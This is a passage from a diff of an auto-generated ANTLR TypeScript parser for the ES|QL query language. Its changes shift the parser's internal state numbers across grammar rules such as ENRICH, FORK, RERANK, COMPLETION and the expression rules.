) { case 1: { - this.state = 454; - this.match(esql_parser.ON); this.state = 455; + this.match(esql_parser.ON); + this.state = 456; localctx._matchField = this.qualifiedNamePattern(); } break; } - this.state = 467; + this.state = 468; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 31, this._ctx) ) { case 1: { - this.state = 458; - this.match(esql_parser.WITH); this.state = 459; + this.match(esql_parser.WITH); + this.state = 460; this.enrichWithClause(); - this.state = 464; + this.state = 465; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 30, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 460; - this.match(esql_parser.COMMA); this.state = 461; + this.match(esql_parser.COMMA); + this.state = 462; this.enrichWithClause(); } } } - this.state = 466; + this.state = 467; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 30, this._ctx); } @@ -2503,19 +2506,19 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 472; + this.state = 473; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 32, this._ctx) ) { case 1: { - this.state = 469; - localctx._newName = this.qualifiedNamePattern(); this.state = 470; + localctx._newName = this.qualifiedNamePattern(); + this.state = 471; this.match(esql_parser.ASSIGN); } break; } - this.state = 474; + this.state = 475; localctx._enrichField = this.qualifiedNamePattern(); } } @@ -2540,9 +2543,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 476; - this.match(esql_parser.SAMPLE); this.state = 477; + this.match(esql_parser.SAMPLE); + this.state = 478; localctx._probability = this.constant(); } } @@ -2567,13 +2570,13 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 479; - this.match(esql_parser.DEV_LOOKUP); this.state = 480; - localctx._tableName = this.indexPattern(); + this.match(esql_parser.DEV_LOOKUP); this.state = 481; - this.match(esql_parser.ON); + localctx._tableName = this.indexPattern(); this.state = 482; + this.match(esql_parser.ON); + this.state = 483; localctx._matchFields = this.qualifiedNamePatterns(); } } @@ -2598,18 +2601,18 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 484; - this.match(esql_parser.DEV_INLINESTATS); this.state = 485; + this.match(esql_parser.DEV_INLINESTATS); + this.state = 486; localctx._stats = this.aggFields(); - this.state = 488; + this.state = 489; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 33, this._ctx) ) { case 1: { - this.state = 486; - this.match(esql_parser.BY); this.state = 487; + this.match(esql_parser.BY); + this.state = 488; localctx._grouping = this.fields(); } break; @@ -2637,34 +2640,34 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 490; - this.match(esql_parser.CHANGE_POINT); this.state = 491; + this.match(esql_parser.CHANGE_POINT); + this.state = 492; localctx._value = this.qualifiedName(); - this.state = 494; + this.state = 495; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 34, this._ctx) ) { case 1: { - this.state = 492; - this.match(esql_parser.ON); this.state = 493; + this.match(esql_parser.ON); + this.state = 494; localctx._key = this.qualifiedName(); } break; } - this.state = 501; + this.state = 502; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 35, this._ctx) ) { case 1: { - this.state = 496; - this.match(esql_parser.AS); this.state = 497; - localctx._targetType = this.qualifiedName(); + this.match(esql_parser.AS); this.state = 498; - this.match(esql_parser.COMMA); + localctx._targetType = this.qualifiedName(); this.state = 499; + this.match(esql_parser.COMMA); + this.state = 500; localctx._targetPvalue = this.qualifiedName(); } break; @@ -2692,9 +2695,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 503; - this.match(esql_parser.DEV_INSIST); this.state = 504; + this.match(esql_parser.DEV_INSIST); + this.state = 505; this.qualifiedNamePatterns(); } } @@ -2719,9 +2722,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 506; - this.match(esql_parser.FORK); this.state = 507; + this.match(esql_parser.FORK); + this.state = 508; this.forkSubQueries(); } } @@ -2747,7 +2750,7 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 510; + this.state = 511; this._errHandler.sync(this); _alt = 1; do { @@ -2755,7 +2758,7 @@ export default class esql_parser extends parser_config { case 1: { { - this.state = 509; + this.state = 510; this.forkSubQuery(); } } @@ -2763,7 +2766,7 @@ export default class esql_parser extends parser_config { default: throw new NoViableAltException(this); } - this.state = 512; + this.state = 513; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 36, this._ctx); } while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER); @@ -2790,11 +2793,11 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 514; - this.match(esql_parser.LP); this.state = 515; - this.forkSubQueryCommand(0); + this.match(esql_parser.LP); this.state = 516; + this.forkSubQueryCommand(0); + this.state = 517; this.match(esql_parser.RP); } } @@ -2836,11 +2839,11 @@ export default class esql_parser extends parser_config { this._ctx = localctx; _prevctx = localctx; - this.state = 519; + this.state = 520; this.forkSubQueryProcessingCommand(); } this._ctx.stop = this._input.LT(-1); - this.state = 526; + this.state = 527; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 37, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { @@ -2853,18 +2856,18 @@ export default class esql_parser extends parser_config { { localctx = new CompositeForkSubQueryContext(this, new ForkSubQueryCommandContext(this, _parentctx, _parentState)); this.pushNewRecursionContext(localctx, _startState, esql_parser.RULE_forkSubQueryCommand); - this.state = 521; + this.state = 522; if (!(this.precpred(this._ctx, 1))) { throw this.createFailedPredicateException("this.precpred(this._ctx, 1)"); } - this.state = 522; - this.match(esql_parser.PIPE); this.state = 523; + this.match(esql_parser.PIPE); + this.state = 524; this.forkSubQueryProcessingCommand(); } } } - this.state = 528; + this.state = 529; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 37, this._ctx); } @@ -2891,7 +2894,7 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 529; + this.state = 530; this.processingCommand(); } } @@ -2916,7 +2919,7 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 531; + this.state = 532; this.match(esql_parser.DEV_RRF); } } @@ -2942,23 +2945,23 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 533; + this.state = 534; this.inferenceCommandOption(); - this.state = 538; + this.state = 539; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 38, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 534; - this.match(esql_parser.COMMA); this.state = 535; + this.match(esql_parser.COMMA); + this.state = 536; this.inferenceCommandOption(); } } } - this.state = 540; + this.state = 541; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 38, this._ctx); } @@ -2985,11 +2988,11 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 541; - this.identifier(); this.state = 542; - this.match(esql_parser.ASSIGN); + this.identifier(); this.state = 543; + this.match(esql_parser.ASSIGN); + this.state = 544; this.inferenceCommandOptionValue(); } } @@ -3012,7 +3015,7 @@ export default class esql_parser extends parser_config { let localctx: InferenceCommandOptionValueContext = new InferenceCommandOptionValueContext(this, this._ctx, this.state); this.enterRule(localctx, 124, esql_parser.RULE_inferenceCommandOptionValue); try { - this.state = 547; + this.state = 548; this._errHandler.sync(this); switch (this._input.LA(1)) { case 53: @@ -3028,7 +3031,7 @@ export default class esql_parser extends parser_config { case 97: this.enterOuterAlt(localctx, 1); { - this.state = 545; + this.state = 546; this.constant(); } break; @@ -3036,7 +3039,7 @@ export default class esql_parser extends parser_config { case 102: this.enterOuterAlt(localctx, 2); { - this.state = 546; + this.state = 547; this.identifier(); } break; @@ -3065,22 +3068,22 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 549; - this.match(esql_parser.DEV_RERANK); this.state = 550; - localctx._queryText = this.constant(); + this.match(esql_parser.DEV_RERANK); this.state = 551; - this.match(esql_parser.ON); + localctx._queryText = this.constant(); this.state = 552; + this.match(esql_parser.ON); + this.state = 553; this.rerankFields(); - this.state = 555; + this.state = 556; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 40, this._ctx) ) { case 1: { - this.state = 553; - this.match(esql_parser.WITH); this.state = 554; + this.match(esql_parser.WITH); + this.state = 555; this.inferenceCommandOptions(); } break; @@ -3108,25 +3111,25 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 557; + this.state = 558; this.match(esql_parser.COMPLETION); - this.state = 561; + this.state = 562; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 41, this._ctx) ) { case 1: { - this.state = 558; - localctx._targetField = this.qualifiedName(); this.state = 559; + localctx._targetField = this.qualifiedName(); + this.state = 560; this.match(esql_parser.ASSIGN); } break; } - this.state = 563; - localctx._prompt = this.primaryExpression(0); this.state = 564; - this.match(esql_parser.WITH); + localctx._prompt = this.primaryExpression(0); this.state = 565; + this.match(esql_parser.WITH); + this.state = 566; localctx._inferenceId = this.identifierOrParameter(); } } @@ -3164,7 +3167,7 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 596; + this.state = 597; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 45, this._ctx) ) { case 1: @@ -3173,9 +3176,9 @@ export default class esql_parser extends parser_config { this._ctx = localctx; _prevctx = localctx; - this.state = 568; - this.match(esql_parser.NOT); this.state = 569; + this.match(esql_parser.NOT); + this.state = 570; this.booleanExpression(8); } break; @@ -3184,7 +3187,7 @@ export default class esql_parser extends parser_config { localctx = new BooleanDefaultContext(this, localctx); this._ctx = localctx; _prevctx = localctx; - this.state = 570; + this.state = 571; this.valueExpression(); } break; @@ -3193,7 +3196,7 @@ export default class esql_parser extends parser_config { localctx = new RegexExpressionContext(this, localctx); this._ctx = localctx; _prevctx = localctx; - this.state = 571; + this.state = 572; this.regexBooleanExpression(); } break; @@ -3202,41 +3205,41 @@ export default class esql_parser extends parser_config { localctx = new LogicalInContext(this, localctx); this._ctx = localctx; _prevctx = localctx; - this.state = 572; + this.state = 573; this.valueExpression(); - this.state = 574; + this.state = 575; this._errHandler.sync(this); _la = this._input.LA(1); if (_la===71) { { - this.state = 573; + this.state = 574; this.match(esql_parser.NOT); } } - this.state = 576; - this.match(esql_parser.IN); this.state = 577; - this.match(esql_parser.LP); + this.match(esql_parser.IN); this.state = 578; + this.match(esql_parser.LP); + this.state = 579; this.valueExpression(); - this.state = 583; + this.state = 584; this._errHandler.sync(this); _la = this._input.LA(1); while (_la===62) { { { - this.state = 579; - this.match(esql_parser.COMMA); this.state = 580; + this.match(esql_parser.COMMA); + this.state = 581; this.valueExpression(); } } - this.state = 585; + this.state = 586; this._errHandler.sync(this); _la = this._input.LA(1); } - this.state = 586; + this.state = 587; this.match(esql_parser.RP); } break; @@ -3245,21 +3248,21 @@ export default class esql_parser extends parser_config { localctx = new IsNullContext(this, localctx); this._ctx = localctx; _prevctx = localctx; - this.state = 588; - this.valueExpression(); this.state = 589; + this.valueExpression(); + this.state = 590; this.match(esql_parser.IS); - this.state = 591; + this.state = 592; this._errHandler.sync(this); _la = this._input.LA(1); if (_la===71) { { - this.state = 590; + this.state = 591; this.match(esql_parser.NOT); } } - this.state = 593; + this.state = 594; this.match(esql_parser.NULL); } break; @@ -3268,13 +3271,13 @@ export default class esql_parser extends parser_config { localctx = new MatchExpressionContext(this, localctx); this._ctx = localctx; _prevctx = localctx; - this.state = 595; + this.state = 596; this.matchBooleanExpression(); } break; } this._ctx.stop = this._input.LT(-1); - this.state = 606; + this.state = 607; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 47, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { @@ -3284,7 +3287,7 @@ export default class esql_parser extends parser_config { } _prevctx = localctx; { - this.state = 604; + this.state = 605; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 46, this._ctx) ) { case 1: @@ -3292,13 +3295,13 @@ export default class esql_parser extends parser_config { localctx = new LogicalBinaryContext(this, new BooleanExpressionContext(this, _parentctx, _parentState)); (localctx as LogicalBinaryContext)._left = _prevctx; this.pushNewRecursionContext(localctx, _startState, esql_parser.RULE_booleanExpression); - this.state = 598; + this.state = 599; if (!(this.precpred(this._ctx, 5))) { throw this.createFailedPredicateException("this.precpred(this._ctx, 5)"); } - this.state = 599; - (localctx as LogicalBinaryContext)._operator = this.match(esql_parser.AND); this.state = 600; + (localctx as LogicalBinaryContext)._operator = this.match(esql_parser.AND); + this.state = 601; (localctx as LogicalBinaryContext)._right = this.booleanExpression(6); } break; @@ -3307,20 +3310,20 @@ export default class esql_parser extends parser_config { localctx = new LogicalBinaryContext(this, new BooleanExpressionContext(this, _parentctx, _parentState)); (localctx as LogicalBinaryContext)._left = _prevctx; this.pushNewRecursionContext(localctx, _startState, esql_parser.RULE_booleanExpression); - this.state = 601; + this.state = 602; if (!(this.precpred(this._ctx, 4))) { throw this.createFailedPredicateException("this.precpred(this._ctx, 4)"); } - this.state = 602; - (localctx as LogicalBinaryContext)._operator = this.match(esql_parser.OR); this.state = 603; + (localctx as LogicalBinaryContext)._operator = this.match(esql_parser.OR); + this.state = 604; (localctx as LogicalBinaryContext)._right = this.booleanExpression(5); } break; } } } - this.state = 608; + this.state = 609; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 47, this._ctx); } @@ -3346,28 +3349,28 @@ export default class esql_parser extends parser_config { this.enterRule(localctx, 132, esql_parser.RULE_regexBooleanExpression); let _la: number; try { - this.state = 639; + this.state = 640; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 52, this._ctx) ) { case 1: localctx = new LikeExpressionContext(this, localctx); this.enterOuterAlt(localctx, 1); { - this.state = 609; + this.state = 610; this.valueExpression(); - this.state = 611; + this.state = 612; this._errHandler.sync(this); _la = this._input.LA(1); if (_la===71) { { - this.state = 610; + this.state = 611; this.match(esql_parser.NOT); } } - this.state = 613; - this.match(esql_parser.LIKE); this.state = 614; + this.match(esql_parser.LIKE); + this.state = 615; this.string_(); } break; @@ -3375,21 +3378,21 @@ export default class esql_parser extends parser_config { localctx = new RlikeExpressionContext(this, localctx); this.enterOuterAlt(localctx, 2); { - this.state = 616; + this.state = 617; this.valueExpression(); - this.state = 618; + this.state = 619; this._errHandler.sync(this); _la = this._input.LA(1); if (_la===71) { { - this.state = 617; + this.state = 618; this.match(esql_parser.NOT); } } - this.state = 620; - this.match(esql_parser.RLIKE); this.state = 621; + this.match(esql_parser.RLIKE); + this.state = 622; this.string_(); } break; @@ -3397,41 +3400,41 @@ export default class esql_parser extends parser_config { localctx = new LikeListExpressionContext(this, localctx); this.enterOuterAlt(localctx, 3); { - this.state = 623; + this.state = 624; this.valueExpression(); - this.state = 625; + this.state = 626; this._errHandler.sync(this); _la = this._input.LA(1); if (_la===71) { { - this.state = 624; + this.state = 625; this.match(esql_parser.NOT); } } - this.state = 627; - this.match(esql_parser.LIKE); this.state = 628; - this.match(esql_parser.LP); + this.match(esql_parser.LIKE); this.state = 629; + this.match(esql_parser.LP); + this.state = 630; this.string_(); - this.state = 634; + this.state = 635; this._errHandler.sync(this); _la = this._input.LA(1); while (_la===62) { { { - this.state = 630; - this.match(esql_parser.COMMA); this.state = 631; + this.match(esql_parser.COMMA); + this.state = 632; this.string_(); } } - this.state = 636; + this.state = 637; this._errHandler.sync(this); _la = this._input.LA(1); } - this.state = 637; + this.state = 638; this.match(esql_parser.RP); } break; @@ -3459,23 +3462,23 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 641; + this.state = 642; localctx._fieldExp = this.qualifiedName(); - this.state = 644; + this.state = 645; this._errHandler.sync(this); _la = this._input.LA(1); if (_la===60) { { - this.state = 642; - this.match(esql_parser.CAST_OP); this.state = 643; + this.match(esql_parser.CAST_OP); + this.state = 644; localctx._fieldType = this.dataType(); } } - this.state = 646; - this.match(esql_parser.COLON); this.state = 647; + this.match(esql_parser.COLON); + this.state = 648; localctx._matchQuery = this.constant(); } } @@ -3498,14 +3501,14 @@ export default class esql_parser extends parser_config { let localctx: ValueExpressionContext = new ValueExpressionContext(this, this._ctx, this.state); this.enterRule(localctx, 136, esql_parser.RULE_valueExpression); try { - this.state = 654; + this.state = 655; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 54, this._ctx) ) { case 1: localctx = new ValueExpressionDefaultContext(this, localctx); this.enterOuterAlt(localctx, 1); { - this.state = 649; + this.state = 650; this.operatorExpression(0); } break; @@ -3513,11 +3516,11 @@ export default class esql_parser extends parser_config { localctx = new ComparisonContext(this, localctx); this.enterOuterAlt(localctx, 2); { - this.state = 650; - (localctx as ComparisonContext)._left = this.operatorExpression(0); this.state = 651; - this.comparisonOperator(); + (localctx as ComparisonContext)._left = this.operatorExpression(0); this.state = 652; + this.comparisonOperator(); + this.state = 653; (localctx as ComparisonContext)._right = this.operatorExpression(0); } break; @@ -3557,7 +3560,7 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 660; + this.state = 661; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 55, this._ctx) ) { case 1: @@ -3566,7 +3569,7 @@ export default class esql_parser extends parser_config { this._ctx = localctx; _prevctx = localctx; - this.state = 657; + this.state = 658; this.primaryExpression(0); } break; @@ -3575,7 +3578,7 @@ export default class esql_parser extends parser_config { localctx = new ArithmeticUnaryContext(this, localctx); this._ctx = localctx; _prevctx = localctx; - this.state = 658; + this.state = 659; (localctx as ArithmeticUnaryContext)._operator = this._input.LT(1); _la = this._input.LA(1); if(!(_la===87 || _la===88)) { @@ -3585,13 +3588,13 @@ export default class esql_parser extends parser_config { this._errHandler.reportMatch(this); this.consume(); } - this.state = 659; + this.state = 660; this.operatorExpression(3); } break; } this._ctx.stop = this._input.LT(-1); - this.state = 670; + this.state = 671; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 57, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { @@ -3601,7 +3604,7 @@ export default class esql_parser extends parser_config { } _prevctx = localctx; { - this.state = 668; + this.state = 669; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 56, this._ctx) ) { case 1: @@ -3609,11 +3612,11 @@ export default class esql_parser extends parser_config { localctx = new ArithmeticBinaryContext(this, new OperatorExpressionContext(this, _parentctx, _parentState)); (localctx as ArithmeticBinaryContext)._left = _prevctx; this.pushNewRecursionContext(localctx, _startState, esql_parser.RULE_operatorExpression); - this.state = 662; + this.state = 663; if (!(this.precpred(this._ctx, 2))) { throw this.createFailedPredicateException("this.precpred(this._ctx, 2)"); } - this.state = 663; + this.state = 664; (localctx as ArithmeticBinaryContext)._operator = this._input.LT(1); _la = this._input.LA(1); if(!(((((_la - 89)) & ~0x1F) === 0 && ((1 << (_la - 89)) & 7) !== 0))) { @@ -3623,7 +3626,7 @@ export default class esql_parser extends parser_config { this._errHandler.reportMatch(this); this.consume(); } - this.state = 664; + this.state = 665; (localctx as ArithmeticBinaryContext)._right = this.operatorExpression(3); } break; @@ -3632,11 +3635,11 @@ export default class esql_parser extends parser_config { localctx = new ArithmeticBinaryContext(this, new OperatorExpressionContext(this, _parentctx, _parentState)); (localctx as ArithmeticBinaryContext)._left = _prevctx; this.pushNewRecursionContext(localctx, _startState, esql_parser.RULE_operatorExpression); - this.state = 665; + this.state = 666; if (!(this.precpred(this._ctx, 1))) { throw this.createFailedPredicateException("this.precpred(this._ctx, 1)"); } - this.state = 666; + this.state = 667; (localctx as ArithmeticBinaryContext)._operator = this._input.LT(1); _la = this._input.LA(1); if(!(_la===87 || _la===88)) { @@ -3646,14 +3649,14 @@ export default class esql_parser extends parser_config { this._errHandler.reportMatch(this); this.consume(); } - this.state = 667; + this.state = 668; (localctx as ArithmeticBinaryContext)._right = this.operatorExpression(2); } break; } } } - this.state = 672; + this.state = 673; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 57, this._ctx); } @@ -3692,7 +3695,7 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 681; + this.state = 682; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 58, this._ctx) ) { case 1: @@ -3701,7 +3704,7 @@ export default class esql_parser extends parser_config { this._ctx = localctx; _prevctx = localctx; - this.state = 674; + this.state = 675; this.constant(); } break; @@ -3710,7 +3713,7 @@ export default class esql_parser extends parser_config { localctx = new DereferenceContext(this, localctx); this._ctx = localctx; _prevctx = localctx; - this.state = 675; + this.state = 676; this.qualifiedName(); } break; @@ -3719,7 +3722,7 @@ export default class esql_parser extends parser_config { localctx = new FunctionContext(this, localctx); this._ctx = localctx; _prevctx = localctx; - this.state = 676; + this.state = 677; this.functionExpression(); } break; @@ -3728,17 +3731,17 @@ export default class esql_parser extends parser_config { localctx = new ParenthesizedExpressionContext(this, localctx); this._ctx = localctx; _prevctx = localctx; - this.state = 677; - this.match(esql_parser.LP); this.state = 678; - this.booleanExpression(0); + this.match(esql_parser.LP); this.state = 679; + this.booleanExpression(0); + this.state = 680; this.match(esql_parser.RP); } break; } this._ctx.stop = this._input.LT(-1); - this.state = 688; + this.state = 689; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 59, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { @@ -3751,18 +3754,18 @@ export default class esql_parser extends parser_config { { localctx = new InlineCastContext(this, new PrimaryExpressionContext(this, _parentctx, _parentState)); this.pushNewRecursionContext(localctx, _startState, esql_parser.RULE_primaryExpression); - this.state = 683; + this.state = 684; if (!(this.precpred(this._ctx, 1))) { throw this.createFailedPredicateException("this.precpred(this._ctx, 1)"); } - this.state = 684; - this.match(esql_parser.CAST_OP); this.state = 685; + this.match(esql_parser.CAST_OP); + this.state = 686; this.dataType(); } } } - this.state = 690; + this.state = 691; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 59, this._ctx); } @@ -3791,16 +3794,16 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 691; - this.functionName(); this.state = 692; + this.functionName(); + this.state = 693; this.match(esql_parser.LP); - this.state = 706; + this.state = 707; this._errHandler.sync(this); switch (this._input.LA(1)) { case 89: { - this.state = 693; + this.state = 694; this.match(esql_parser.ASTERISK); } break; @@ -3823,34 +3826,34 @@ export default class esql_parser extends parser_config { case 102: { { - this.state = 694; + this.state = 695; this.booleanExpression(0); - this.state = 699; + this.state = 700; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 60, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 695; - this.match(esql_parser.COMMA); this.state = 696; + this.match(esql_parser.COMMA); + this.state = 697; this.booleanExpression(0); } } } - this.state = 701; + this.state = 702; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 60, this._ctx); } - this.state = 704; + this.state = 705; this._errHandler.sync(this); _la = this._input.LA(1); if (_la===62) { { - this.state = 702; - this.match(esql_parser.COMMA); this.state = 703; + this.match(esql_parser.COMMA); + this.state = 704; this.mapExpression(); } } @@ -3863,7 +3866,7 @@ export default class esql_parser extends parser_config { default: break; } - this.state = 708; + this.state = 709; this.match(esql_parser.RP); } } @@ -3888,7 +3891,7 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 710; + this.state = 711; this.identifierOrParameter(); } } @@ -3914,27 +3917,27 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 712; - this.match(esql_parser.LEFT_BRACES); this.state = 713; + this.match(esql_parser.LEFT_BRACES); + this.state = 714; this.entryExpression(); - this.state = 718; + this.state = 719; this._errHandler.sync(this); _la = this._input.LA(1); while (_la===62) { { { - this.state = 714; - this.match(esql_parser.COMMA); this.state = 715; + this.match(esql_parser.COMMA); + this.state = 716; this.entryExpression(); } } - this.state = 720; + this.state = 721; this._errHandler.sync(this); _la = this._input.LA(1); } - this.state = 721; + this.state = 722; this.match(esql_parser.RIGHT_BRACES); } } @@ -3959,11 +3962,11 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 723; - localctx._key = this.string_(); this.state = 724; - this.match(esql_parser.COLON); + localctx._key = this.string_(); this.state = 725; + this.match(esql_parser.COLON); + this.state = 726; localctx._value = this.constant(); } } @@ -3987,14 +3990,14 @@ export default class esql_parser extends parser_config { this.enterRule(localctx, 150, esql_parser.RULE_constant); let _la: number; try { - this.state = 769; + this.state = 770; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 67, this._ctx) ) { case 1: localctx = new NullLiteralContext(this, localctx); this.enterOuterAlt(localctx, 1); { - this.state = 727; + this.state = 728; this.match(esql_parser.NULL); } break; @@ -4002,9 +4005,9 @@ export default class esql_parser extends parser_config { localctx = new QualifiedIntegerLiteralContext(this, localctx); this.enterOuterAlt(localctx, 2); { - this.state = 728; - this.integerValue(); this.state = 729; + this.integerValue(); + this.state = 730; this.match(esql_parser.UNQUOTED_IDENTIFIER); } break; @@ -4012,7 +4015,7 @@ export default class esql_parser extends parser_config { localctx = new DecimalLiteralContext(this, localctx); this.enterOuterAlt(localctx, 3); { - this.state = 731; + this.state = 732; this.decimalValue(); } break; @@ -4020,7 +4023,7 @@ export default class esql_parser extends parser_config { localctx = new IntegerLiteralContext(this, localctx); this.enterOuterAlt(localctx, 4); { - this.state = 732; + this.state = 733; this.integerValue(); } break; @@ -4028,7 +4031,7 @@ export default class esql_parser extends parser_config { localctx = new BooleanLiteralContext(this, localctx); this.enterOuterAlt(localctx, 5); { - this.state = 733; + this.state = 734; this.booleanValue(); } break; @@ -4036,7 +4039,7 @@ export default class esql_parser extends parser_config { localctx = new InputParameterContext(this, localctx); this.enterOuterAlt(localctx, 6); { - this.state = 734; + this.state = 735; this.parameter(); } break; @@ -4044,7 +4047,7 @@ export default class esql_parser extends parser_config { localctx = new StringLiteralContext(this, localctx); this.enterOuterAlt(localctx, 7); { - this.state = 735; + this.state = 736; this.string_(); } break; @@ -4052,27 +4055,27 @@ export default class esql_parser extends parser_config { localctx = new NumericArrayLiteralContext(this, localctx); this.enterOuterAlt(localctx, 8); { - this.state = 736; - this.match(esql_parser.OPENING_BRACKET); this.state = 737; + this.match(esql_parser.OPENING_BRACKET); + this.state = 738; this.numericValue(); - this.state = 742; + this.state = 743; this._errHandler.sync(this); _la = this._input.LA(1); while (_la===62) { { { - this.state = 738; - this.match(esql_parser.COMMA); this.state = 739; + this.match(esql_parser.COMMA); + this.state = 740; this.numericValue(); } } - this.state = 744; + this.state = 745; this._errHandler.sync(this); _la = this._input.LA(1); } - this.state = 745; + this.state = 746; this.match(esql_parser.CLOSING_BRACKET); } break; @@ -4080,27 +4083,27 @@ export default class esql_parser extends parser_config { localctx = new BooleanArrayLiteralContext(this, localctx); this.enterOuterAlt(localctx, 9); { - this.state = 747; - this.match(esql_parser.OPENING_BRACKET); this.state = 748; + this.match(esql_parser.OPENING_BRACKET); + this.state = 749; this.booleanValue(); - this.state = 753; + this.state = 754; this._errHandler.sync(this); _la = this._input.LA(1); while (_la===62) { { { - this.state = 749; - this.match(esql_parser.COMMA); this.state = 750; + this.match(esql_parser.COMMA); + this.state = 751; this.booleanValue(); } } - this.state = 755; + this.state = 756; this._errHandler.sync(this); _la = this._input.LA(1); } - this.state = 756; + this.state = 757; this.match(esql_parser.CLOSING_BRACKET); } break; @@ -4108,27 +4111,27 @@ export default class esql_parser extends parser_config { localctx = new StringArrayLiteralContext(this, localctx); this.enterOuterAlt(localctx, 10); { - this.state = 758; - this.match(esql_parser.OPENING_BRACKET); this.state = 759; + this.match(esql_parser.OPENING_BRACKET); + this.state = 760; this.string_(); - this.state = 764; + this.state = 765; this._errHandler.sync(this); _la = this._input.LA(1); while (_la===62) { { { - this.state = 760; - this.match(esql_parser.COMMA); this.state = 761; + this.match(esql_parser.COMMA); + this.state = 762; this.string_(); } } - this.state = 766; + this.state = 767; this._errHandler.sync(this); _la = this._input.LA(1); } - this.state = 767; + this.state = 768; this.match(esql_parser.CLOSING_BRACKET); } break; @@ -4156,7 +4159,7 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 771; + this.state = 772; _la = this._input.LA(1); if(!(_la===65 || _la===78)) { this._errHandler.recoverInline(this); @@ -4186,20 +4189,20 @@ export default class esql_parser extends parser_config { let localctx: NumericValueContext = new NumericValueContext(this, this._ctx, this.state); this.enterRule(localctx, 154, esql_parser.RULE_numericValue); try { - this.state = 775; + this.state = 776; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 68, this._ctx) ) { case 1: this.enterOuterAlt(localctx, 1); { - this.state = 773; + this.state = 774; this.decimalValue(); } break; case 2: this.enterOuterAlt(localctx, 2); { - this.state = 774; + this.state = 775; this.integerValue(); } break; @@ -4227,12 +4230,12 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 778; + this.state = 779; this._errHandler.sync(this); _la = this._input.LA(1); if (_la===87 || _la===88) { { - this.state = 777; + this.state = 778; _la = this._input.LA(1); if(!(_la===87 || _la===88)) { this._errHandler.recoverInline(this); @@ -4244,7 